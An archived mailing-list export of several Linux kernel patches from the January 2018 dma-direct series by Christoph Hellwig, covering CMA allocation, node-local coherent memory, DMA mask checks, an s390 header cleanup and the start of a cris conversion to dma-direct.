List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27255 gmane.linux.kernel.iommu:22161 gmane.linux.ports.alpha:4744 gmane.linux.kernel.arc:3354 gmane.linux.ports.arm.kernel:625660 gmane.linux.ports.hexagon:1570 gmane.linux.ports.ia64:28605 gmane.linux.kernel.metag:1647 gmane.linux.ports.mips.general:63302 gmane.linux.ports.parisc:28247 gmane.linux.ports.ppc64.devel:152029 gmane.linux.ports.sh.devel:56306 gmane.linux.kernel.cross-arch:41463 gmane.linux.kernel:2665094
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27255>

This is not needed in drivers, so move it to a private header.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/s390/include/asm/dma-mapping.h | 2 --
 arch/s390/include/asm/pci_dma.h     | 3 +++
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index 2ec7240c1ada..bdc2455483f6 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -9,8 +9,6 @@
 #include <linux/dma-debug.h>
 #include <linux/io.h>
 
-extern const struct dma_map_ops s390_pci_dma_ops;
-
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 	return &dma_noop_ops;
diff --git a/arch/s390/include/asm/pci_dma.h b/arch/s390/include/asm/pci_dma.h
index e8d9161fa17a..419fac7a62c0 100644
--- a/arch/s390/include/asm/pci_dma.h
+++ b/arch/s390/include/asm/pci_dma.h
@@ -201,4 +201,7 @@ void dma_cleanup_tables(unsigned long *);
 unsigned long *dma_walk_cpu_trans(unsigned long *rto, dma_addr_t dma_addr);
 void dma_update_cpu_trans(unsigned long *entry, void *page_addr, int flags);
 
+extern const struct dma_map_ops s390_pci_dma_ops;
+
+
 #endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 27/34] dma-direct: add support for CMA allocation
Date: Fri, 12 Jan 2018 09:42:25 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20180112084232.2857-28-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746542 15524 195.159.176.226 (12 Jan 2018 08:42:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:22 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 12 09:42:16 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZuui-0003Aj-Ht
	for glka-linux-arch@m.gmane.org; Fri, 12 Jan 2018 09:42:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934052AbeALIoN (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:13 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40264 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933966AbeALIoJ (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 12 Jan 2018 03:44:09 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=QXdRAAnfvbZgT4kYEatJrEYKc4m/h5Z2aiNwAgsYFrc=; b=naPRiF5RICCfQceehqusTRLnt
        X4fx5rNfCt/Dslym6HNRtnPA7VNszbitdOvsU63zkTGM7iPmB0vAT1e4OmkbEyPJq0S30DUf+/mi3
        xZgzEfqrEsgiAGmFxFtTtLdAqYfv9ist4YM09Q0Sf/CxmLDqi5zdXYVU4AEIwyQodnWVzwW24O7Hk
        zBjhmnM18HHsQ1Lu0zzc3e7KYTfaZJlNFheO/JNCMoQI5tCJO0ADPGcqQ4/fIvNMxKWIPtn/faxoN
        akA8hDfvzLG/CRodum+gB7cRqCvIERFWRwabfEKq7Ng8nueSl1ORpLC3dG11prHL2E5Ukkzrh/E/3
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwT-00005r-1T; Fri, 12 Jan 2018 08:44:01 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41464 gmane.linux.kernel.iommu:22162 gmane.linux.ports.alpha:4745 gmane.linux.kernel.arc:3355 gmane.linux.ports.arm.kernel:625661 gmane.linux.ports.hexagon:1571 gmane.linux.ports.ia64:28606 gmane.linux.kernel.metag:1648 gmane.linux.ports.mips.general:63303 gmane.linux.ports.parisc:28248 gmane.linux.ports.ppc64.devel:152030 gmane.linux.ports.sh.devel:56307 gmane.linux.ports.sparc:27256 gmane.linux.kernel:2665095
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41464>

Try the CMA allocator for coherent allocations if supported.

Roughly modelled after the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 24 ++++++++++++++++++------
 1 file changed, 18 insertions(+), 6 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 32fd4d9e4c47..a9ae98be7af3 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -7,6 +7,7 @@
 #include <linux/mm.h>
 #include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-contiguous.h>
 #include <linux/pfn.h>
 
 #define DIRECT_MAPPING_ERROR		0
@@ -29,19 +30,30 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	void *ret;
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+	int page_order = get_order(size);
+	struct page *page = NULL;
 
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-	if (ret)
-		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
+	/* CMA can be used only in the context which permits sleeping */
+	if (gfpflags_allow_blocking(gfp))
+		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+	if (!page)
+		page = alloc_pages(gfp, page_order);
+	if (!page)
+		return NULL;
 
-	return ret;
+	*dma_handle = phys_to_dma(dev, page_to_phys(page));
+	memset(page_address(page), 0, size);
+	return page_address(page);
 }
 
 static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
-	free_pages((unsigned long)cpu_addr, get_order(size));
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+
+	if (!dma_release_from_contiguous(dev, virt_to_page(cpu_addr), count))
+		free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
 static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
-- 
2.14.2



From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 28/34] dma-direct: use node local allocations for coherent memory
Date: Fri, 12 Jan 2018 09:42:26 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180112084232.2857-29-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746545 16169 195.159.176.226 (12 Jan 2018 08:42:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:25 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 12 09:42:19 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZuun-0003Aj-Hb
	for glka-linux-arch@m.gmane.org; Fri, 12 Jan 2018 09:42:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934130AbeALIoU (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:20 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:44346 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934049AbeALIoL (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 12 Jan 2018 03:44:11 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=AXNa+fCjRIqv+P/acmRY2Gkn/X6qWpP1nSpiGkw5IlU=; b=NNqifAxnabUUuBQHWjYPXLOd7
        gMdW1BjnhHuBHwDXSyE5eDlMbdEg0CjMKs2FZwBQ+UOnQDy4hKMLQ7sAONu2BCmOd+/gcDN5yePv4
        yxfupIGGhzWX8jzqDeVeeDkEqYJSwMBf3unynTZWbEcqlAb2gxJYJBzNgaCvPEbAKdxXqIL4l7k14
        ylG1NSrtQgUy1k2U4O/iXAzbMzYgFu8stQy/qR+SDeZuhqy0PGLtoUb6d2lesNd8WSupghDsQPaTW
        0g00tVPXhhFCKygM4ShyUu1LhFaRHJoVMIvr4lietDwq8r5JUc5tdir+k0F5S4VE+n3eX2Fi1ZrXc
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwW-00009b-0S; Fri, 12 Jan 2018 08:44:04 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41465 gmane.linux.kernel.iommu:22163 gmane.linux.ports.alpha:4746 gmane.linux.kernel.arc:3356 gmane.linux.ports.arm.kernel:625662 gmane.linux.ports.hexagon:1572 gmane.linux.ports.ia64:28607 gmane.linux.kernel.metag:1649 gmane.linux.ports.mips.general:63304 gmane.linux.ports.parisc:28249 gmane.linux.ports.ppc64.devel:152031 gmane.linux.ports.sh.devel:56308 gmane.linux.ports.sparc:27257 gmane.linux.kernel:2665096
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41465>

To preserve the x86 behavior.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Robin Murphy <robin.murphy@arm.com>
---
 lib/dma-direct.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index a9ae98be7af3..f04a424f91fa 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -38,7 +38,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	if (gfpflags_allow_blocking(gfp))
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
 	if (!page)
-		page = alloc_pages(gfp, page_order);
+		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
 	if (!page)
 		return NULL;
 
-- 
2.14.2



From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 32/34] dma-direct: reject too small dma masks
Date: Fri, 12 Jan 2018 09:42:30 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <20180112084232.2857-33-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746557 18543 195.159.176.226 (12 Jan 2018 08:42:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:37 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 12 09:42:31 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZuus-0003w4-8b
	for glka-linux-arch@m.gmane.org; Fri, 12 Jan 2018 09:42:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934137AbeALIoX (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:23 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:59299 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934126AbeALIoT (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Fri, 12 Jan 2018 03:44:19 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=0s/Tne3vVh2iDi5i9AZoN4Gk9kA0m+jc9VATZndhkhI=; b=tTarzgzpK4Vu9fakL6m+288IW
        JH57nO5RZUNBq6m9AK1MX5yYxCopMuTOCiE1eD3+a1dqQUxrlVXoVUNSbnDt5oebcgt6A7PsQnwF2
        SgXWgNsc5SXynBfm+j9TzOKX5vCNjKPm4SuPPs/X7EHbdbZ0yftXjEyy8dK2TouxZhDU11Y9GH6W5
        1lUpnuKkFch/Sa3e+ULwo7GtBP6leUMHe1gpZxgiV+6hzr4pQdajI29a0mFihNcxl/W2gcGo1eHMS
        WdEaVLQvvCP5qkBdpEliO2ya3JXtfdBNGFF3kKbhEW5XCWGJMW/gCsrz8TPOsjR1/VOfUqmov8yeb
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwh-0000Mx-Is; Fri, 12 Jan 2018 08:44:16 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41466 gmane.linux.kernel.iommu:22164 gmane.linux.ports.alpha:4747 gmane.linux.kernel.arc:3357 gmane.linux.ports.arm.kernel:625663 gmane.linux.ports.hexagon:1573 gmane.linux.ports.ia64:28608 gmane.linux.kernel.metag:1650 gmane.linux.ports.mips.general:63305 gmane.linux.ports.parisc:28250 gmane.linux.ports.ppc64.devel:152032 gmane.linux.ports.sh.devel:56309 gmane.linux.ports.sparc:27258 gmane.linux.kernel:2665097
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41466>

Signed-off-by: Christoph Hellwig <hch@lst.de>
Reviewed-by: Robin Murphy <robin.murphy@arm.com>
---
 include/linux/dma-direct.h |  1 +
 lib/dma-direct.c           | 19 +++++++++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 4788bf0bf683..bcdb1a3e4b1f 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -42,5 +42,6 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		gfp_t gfp, unsigned long attrs);
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs);
+int dma_direct_supported(struct device *dev, u64 mask);
 
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 784a68dfdbe3..40b1f92f2214 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -122,6 +122,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
+int dma_direct_supported(struct device *dev, u64 mask)
+{
+#ifdef CONFIG_ZONE_DMA
+	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		return 0;
+#else
+	/*
+	 * Because 32-bit DMA masks are so common we expect every architecture
+	 * to be able to satisfy them - either by not supporting more physical
+	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
+	 * architecture needs to use an IOMMU instead of the direct mapping.
+	 */
+	if (mask < DMA_BIT_MASK(32))
+		return 0;
+#endif
+	return 1;
+}
+
 static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == DIRECT_MAPPING_ERROR;
@@ -132,6 +150,7 @@ const struct dma_map_ops dma_direct_ops = {
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.dma_supported		= dma_direct_supported,
 	.mapping_error		= dma_direct_mapping_error,
 };
 EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2



From - Thu Nov 08 21:40:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 33/34] cris: use dma-direct
Date: Fri, 12 Jan 2018 09:42:31 +0100
Lines: 177
Approved: news@gmane.org
Message-ID: <20180112084232.2857-34-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746563 19355 195.159.176.226 (12 Jan 2018 08:42:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:43 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Jan 12 09:42:37 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZuv6-0004Xj-JA
	for lnx-sparclinux@m.gmane.org; Fri, 12 Jan 2018 09:42:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934185AbeALIo3 (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:29 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:36599 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934049AbeALIoV (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 12 Jan 2018 03:44:21 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=QDbB6JUquc0lZhraL2oHXDIp+XcHFfoNJiT0vIe/QZo=; b=khdhV2YZsIV7jj4bJumQUvpBF
        rw3R7hf3EQfhJsCQtZjgQC+SzYzFR54Dw4bhwAQ2V8s9cq3TrEr3INV8bqQupyJUFjF8ll0Du/EjM
        KMjhJMLz07gaw3UsVShvwQ7JJm5m1bhAzIE2RTu7OKDxyXX0pDMYkb6L/zqlotPX1+9MahQNvSw6Z
        FANYQ3jy6ML/nwMq0yymTotRWRLV8IVjWO9c//gjGX5TkPb+CR8Xdjo4LjtyarZXIJQI90KEMVyRr
        1vCILuefVVsYGeMy2td6cRt46Ft5FP6tF23gE+ZM6YRPh3EtKdaAhWpjIotG/awbIiBDDNIhy5RdV
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwk-0000PZ-CB; Fri, 12 Jan 2018 08:44:18 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27259 gmane.linux.kernel.iommu:22165 gmane.linux.ports.alpha:4748 gmane.linux.kernel.arc:3358 gmane.linux.ports.arm.kernel:625664 gmane.linux.ports.hexagon:1574 gmane.linux.ports.ia64:28609 gmane.linux.kernel.metag:1651 gmane.linux.ports.mips.general:63306 gmane.linux.ports.parisc:28251 gmane.linux.ports.ppc64.devel:152033 gmane.linux.ports.sh.devel:56310 gmane.linux.kernel.cross-arch:41467 gmane.linux.kernel:2665098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27259>

cris currently has an incomplete direct mapping dma_map_ops implementation
if PCI support is enabled.  Replace it with the fully feature generic
dma-direct implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
---
 arch/cris/Kconfig                       |  4 ++
 arch/cris/arch-v32/drivers/pci/Makefile |  2 +-
 arch/cris/arch-v32/drivers/pci/dma.c    | 77 ---------------------------------
 arch/cris/include/asm/Kbuild            |  1 +
 arch/cris/include/asm/dma-mapping.h     | 20 ---------
 5 files changed, 6 insertions(+), 98 deletions(-)
 delete mode 100644 arch/cris/arch-v32/drivers/pci/dma.c
 delete mode 100644 arch/cris/include/asm/dma-mapping.h

diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 54d3f426763b..cd5a0865c97f 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -33,6 +33,9 @@ config GENERIC_CALIBRATE_DELAY
 config NO_IOPORT_MAP
 	def_bool y if !PCI
 
+config NO_DMA
+	def_bool y if !PCI
+
 config FORCE_MAX_ZONEORDER
 	int
 	default 6
